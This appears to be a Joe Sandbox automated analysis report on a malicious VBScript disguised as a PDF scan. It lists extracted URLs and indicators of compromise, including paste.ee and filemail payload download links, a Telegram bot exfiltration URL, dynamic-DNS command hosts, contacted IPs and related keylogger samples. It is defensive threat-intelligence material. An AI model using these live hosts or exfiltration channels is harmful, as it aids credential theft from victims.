https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	svchost.exe, 0000000D.00000002.2565948471.0000000005580000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.0000000005553000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://paste.ee/	wscript.exe, 00000007.00000002.1308059121.0000028EADE05000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enh	svchost.exe, 0000000D.00000002.2565948471.0000000005553000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000557B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	false		high
https://1017.filemail.com/api/file/get?filekey=2A	powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://paste.ee/	wscript.exe, 00000007.00000002.1307880181.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1306086770.0000028EADC6A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.office.com/h	svchost.exe, 0000000D.00000002.2565948471.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com;	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1867399613.0000020BB090A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://secure.gravatar.com	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000543E000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	false		high
https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6S	powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com/	svchost.exe, 0000000D.00000002.2565948471.00000000055B1000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000055A2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com;	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://paste.ee:443/d/LOToW	wscript.exe, 00000007.00000003.1305989031.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1307948527.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://paste.ee/d/LOToWH	wscript.exe, 00000007.00000002.1307789064.0000028EADC16000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000003.1307388014.0000028EADC16000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu	svchost.exe, 0000000D.00000002.2565948471.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org	svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000B.00000002.1564287804.0000021F80223000.00000004.00000800.00020000.00000000.sdmp	false		high
http://aborters.duckdns.org:8081	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:936905%0D%0ADate%20a	svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?L	svchost.exe, 0000000D.00000002.2565948471.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://analytics.paste.ee;	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
https://reallyfreegeoip.org	svchost.exe, 0000000D.00000002.2565948471.00000000054D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.000000000543E000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000054AE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://sws.swpushroller.eu/swsk/api.php	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565948471.00000000053F1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://paste.ee/d/LOToW	wscript.exe, 00000007.00000003.1306812741.0000028EAFC30000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308059121.0000028EADE05000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308092778.0000028EAF9FA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 00000008.00000002.1867399613.0000020BB08D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1564287804.0000021F80001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	svchost.exe, 0000000D.00000002.2567382951.0000000006475000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2567382951.00000000064A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://themes.googleusercontent.com	wscript.exe, 00000007.00000003.1307272322.0000028EADC9C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000007.00000002.1308229933.0000028EAFD63000.00000004.00000020.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	svchost.exe, 0000000D.00000003.1564549800.000000000326F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569238032.0000000007990000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2569944234.0000000007D50000.00000004.08000000.00040000.00000000.sdmp, svchost.exe, 0000000D.00000002.2565099597.0000000003374000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	checkip.dyndns.com	United States	16989	UTMEMUS	false
142.215.209.78	ip.1017.filemail.com	Canada	32156	HUMBER-COLLEGECA	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	paste.ee	European Union	13335	CLOUDFLARENETUS	false
141.98.10.88	pus.rollerswpush.eu	Lithuania	209605	HOSTBALTICLT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1554182
Start date and time:	2024-11-12 08:04:55 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Scan12112024,pdf.vbs
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.winVBS@10/7@7/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 100% Number of executed functions: 96 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 1432 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Scan12112024,pdf.vbs

Simulations

Behavior and APIs

Time	Type	Description
02:05:55	API Interceptor	2x Sleep call for process: wscript.exe modified
02:05:56	API Interceptor	56x Sleep call for process: powershell.exe modified
03:59:16	API Interceptor	731735x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	checkip.dyndns.org/
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	checkip.dyndns.org/
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	NEW REQUIREMENT PO565432.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	17312555432bcbd00414ec1c141b698268dc6112a629b7da7379b907daaee7a87ea4e066bb444.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	fatura.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Malzeme i#U00e7in G#U00f6rsel Sipari#U015fler 160924R0 _323282.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
142.215.209.78	SWIFT COPY.xls	Get hash	malicious	HTMLPhisher	Browse
	seethebestthingswithgoodthingswithgreatthignsfor.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	seethebestthingswithentiretimeimadeforyousee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse
	seethebstpricewithbestthinghappingwithgoodnews.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse
	seethebestthingsneedtodowithgreatthingshappenedonheretosee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Shipment_details.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
ip.1017.filemail.com	SWIFT COPY.xls	Get hash	malicious	HTMLPhisher	Browse	142.215.209.78
	seethebestthingswithgoodthingswithgreatthignsfor.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	seethebestthingswithentiretimeimadeforyousee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	142.215.209.78
	seethebstpricewithbestthinghappingwithgoodnews.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	seethebestthingsneedtodowithgreatthingshappenedonheretosee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	142.215.209.78
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	142.215.209.78
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Shipment_details.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
pus.rollerswpush.eu	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	141.98.10.88
pus.rollerswpush.eu	ConfirmaciXnXdeXfacturaXPedidoXadicional.doc	Get hash	malicious	Unknown	Browse	141.98.10.88
paste.ee	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	asegurar.vbs	Get hash	malicious	Remcos	Browse	188.114.96.3
	segura.vbs	Get hash	malicious	AsyncRAT, DcRat	Browse	188.114.96.3
	Ordine R04-T4077 TBA-2024.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Win32.MalwareX-gen.20028.17631.exe	Get hash	malicious	AsyncRAT	Browse	188.114.97.3
	ConfirmaciXnXdeXfacturaXPedidoXadicional.doc	Get hash	malicious	Unknown	Browse	188.114.97.3
	Aviso de pago.xla.xlsx	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	createdbestthingswithgoodnewswithgreatfriendship.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher	Browse	188.114.96.3

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HUMBER-COLLEGECA	SWIFT COPY.xls	Get hash	malicious	HTMLPhisher	Browse	142.215.209.78
	seethebestthingswithgoodthingswithgreatthignsfor.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	seethebestthingswithentiretimeimadeforyousee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	142.215.209.78
	seethebstpricewithbestthinghappingwithgoodnews.hta	Get hash	malicious	Cobalt Strike, Remcos, HTMLPhisher	Browse	142.215.209.78
	seethebestthingsneedtodowithgreatthingshappenedonheretosee.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	142.215.209.78
	Document.xla.xlsx	Get hash	malicious	FormBook, HTMLPhisher	Browse	142.215.209.78
	Scan112024.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
	Shipment_details.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	142.215.209.78
	Inquiry HA-22-28199 22-077.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.215.209.78
TELEGRAMRU	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	https://www.bing.com/ck/a?!&&p=35f7ac11749086c457664a8010a84bc638d369283c719578d3701e6e769d80e3JmltdHM9MTczMDg1MTIwMA&ptn=3&ver=2&hsh=4&fclid=33680f6e-3a94-6c3f-27a6-1a423bb96ddc&psq=site%3Ahttps%3A%2F%2FChiefOfStaff.site&u=a1aHR0cHM6Ly93d3cuY2hpZWZvZnN0YWZmLnNpdGUvd2hhdC1hcmUtdGhlLWtleS1wcmluY2lwbGVzLW9mLW9wZXJhdGlvbnMtbWFuYWdlbWVudA#taehwan.lee@hdel.co.kr	Get hash	malicious	Outlook Phishing, HTMLPhisher	Browse	149.154.167.220
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	149.154.167.220
CLOUDFLARENETUS	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	172.64.41.3
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	104.21.69.93
	View Pdf Doc_8a3c334133bfb9605fc344b2f764ac62.htm	Get hash	malicious	Unknown	Browse	104.17.25.14
	RN# D7521-RN-00353 REV-2.exe	Get hash	malicious	FormBook	Browse	172.67.177.220
	https://recordatoriosycobroscpxmsa.com/?BSVUKWY9726@YIUVUGSE-928329/hok/WMEJGG0D776/WMEJGG0D/073/zyg/WMEJGG0D/073/zyg	Get hash	malicious	HTMLPhisher	Browse	1.1.1.1
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.67.152
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
UTMEMUS	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	CERTIFICADO TITULARIDAD.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	N8Sriy2UsP.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Quotation.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	Request for Quotation MK FMHS.RFQ.24.11.07.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	NEW REQUIREMENT PO565432.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	DHL 984468477.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	Consulta de encomenda N#U00ba TM06-Q2-11-24.vbs	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	HALKBANK.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	1731350144bd4661a80b2f6df430a3ec80a1cea4bfcea08062cabca8156532cd5eb6ec3f57216.dat-decoded.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Curriculum Vitae Estrella Torres.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Factura Honorarios 2024-11-04.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	SK #Uacac#Uc801#Uc694#Uccad_#Uc6b8#Uc0b0#Uacf5#Uc7a5#U00b7pdf.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.215.209.78 149.154.167.220
	________.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.215.209.78 149.154.167.220
	Snurrevoddenes.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.215.209.78 149.154.167.220
	Eksistensberettigelsernes102.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.215.209.78 149.154.167.220
	ALI HASSO - P02515 & P02518.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.215.209.78 149.154.167.220
	Order&picture sample8398398392838PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	142.215.209.78 149.154.167.220
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.215.209.78 149.154.167.220
	https://u34251876.ct.sendgrid.net/ls/click?upn=u001.ordJ57g0HVndDa8Km-2BVUUFN1eIn5tdzIxrKbgsGfF9eVdl7b-2Fab-2BrUBdfIXH9yijR5LLM7kgivkgUI3nC3VajM00UDrq4ekI2XREqo0QmHcHyDyYWomvx9-2FHEtQ3o5rBM9AHzVSsjnwFSEJqic-2BEtw-3D-3DBxNa_qINdfz5Lp8EahgxJXfgGV-2Bk7caEgTUs2gtUTKNMgBkZ9mbVIMd-2B1UUN0TqdRRGrocW81C18onNWNx5Y6KM88Rr7odKCqMhALUPuUbXGlkOo01sEKeKdphXRhykHXKfSB-2By1s-2BNAgCL9-2BbtY8LNaKNV0sXQnlv-2F9fA-2BLZtaeadaVGHb32bFHhcOwS3ltfr2dig92MY6M8DrwwYiolgI1k4Q-3D-3D	Get hash	malicious	Unknown	Browse	142.215.209.78 149.154.167.220
